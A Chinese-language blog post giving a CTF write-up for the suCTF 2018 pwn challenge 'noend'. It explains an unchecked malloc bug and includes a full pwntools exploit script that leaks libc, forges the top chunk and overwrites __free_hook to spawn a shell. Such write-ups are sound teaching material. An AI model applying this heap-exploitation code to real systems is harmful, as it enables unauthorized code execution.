Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

suCTF 2018 pwn noend writeup

保护措施:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

使用IDA查看程序,发现此题所存在的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while ( 1 )
{
do
{
memset(&s, 0, 0x20uLL);
read(0, &s, 0x1FuLL);
size = strtoll(&s, 0LL, 10);
buf = malloc(size);
read(0, buf, size);
*((_BYTE *)buf + size - 1) = 0;
write(1, buf, (unsigned __int16)size);
write(1, &unk_B54, 1uLL);
}
while ( size > 127 );
free(buf);
}

在进行malloc时,并未检查是否malloc成功,malloc失败会返回0,导致后续存在任意地址写\x00的漏洞。首先需要泄漏libc的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def sar(p, size, content):
p.sendline(str(size))
sleep(0.3)
p.send(content)
sleep(0.3)
p.recvuntil(content)

def pwn():
p = process('./noend')
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.update(log_level='debug')
sar(p, 0x20, 'sunichi')
sar(p, 0x30, 'sunichi')
sar(p, 0x7f, 'sunichi')
sar(p, 0x20, 'A' * 8)
recv = p.recvuntil('\n', drop=True)
main_arena_addr = u64(recv[0:8])
libc_base_addr = main_arena_addr - 0x3c4b78
#malloc_hook = libc_base_addr + 0x3c4b10
free_hook = libc_base_addr + 0x3c67a8

根据free时,chunk合并的特性,能够使最后top chunk的fd和bk指向main_arena。malloc(0x20)后,其中的信息并不会清空,导致libc地址泄漏。

1
2
3
p.sendline(str(main_arena_addr))
sleep(0.3)
p.clean()

申请一个非常大的chunk,使libc重新申请arena。使用前述同样的方法泄漏地址。

1
2
3
4
5
6
7
sar(p, 0x20, 'sunichi')
sar(p, 0x30, 'sunichi')
sar(p, 0x7f, 'sunichi')
sar(p, 0x20, 'A' * 8)
recv = p.recvuntil('\n', drop=True)[0:8]
top_chunk_ptr = u64(recv)
top_chunk = u64(recv) + 0x888

泄漏的地址指向top chunk,在这使用硬编码计算伪造的top chunk与泄漏的地址的偏移。(本地没问题,不知道remote会不会有问题,等端午放完假再问问师傅)

1
2
3
4
5
sar(p, 0xf0, p64(libc_base_addr + one_gadget[3] + (free_hook - top_chunk - 0x10)) * (0xe8 / 8))
p.sendline(str(top_chunk_ptr + 1))
sleep(0.3)
p.sendline()
sleep(0.3)

接着对申请的chunk进行填充,填充的值为one_gadget_addr + (free_hook_addr - top_chunk_addr - 0x10)。继续申请一个很大的chunk,此时libc不会再有新的arena了,而是申请失败返回0,导致任意地址写入\x00。在这我们向指向top chunk的地址末位写入\x00,导致top chunk指针向前移动,指向了我们之前申请的chunk的content部分。此时,伪造top chunk完成。

1
2
3
4
p.sendline(str(free_hook - top_chunk - 0x10))
sleep(0.3)
p.sendline()
sleep(0.3)

malloc(free_hook - top_chunk - 0x10),使得top chunk的size变为one_gadget_addr。同时top chunk的地址变为top_chunk_addr + free_hook - top_chunk - 0x10 = free_hook - 0x10,free_hook处被填入one_gadget_addr。随后获取shell。(注意地址对齐的问题)

1
2
3
sar(p, 0x10, 'pwn')
p.interactive()
p.close()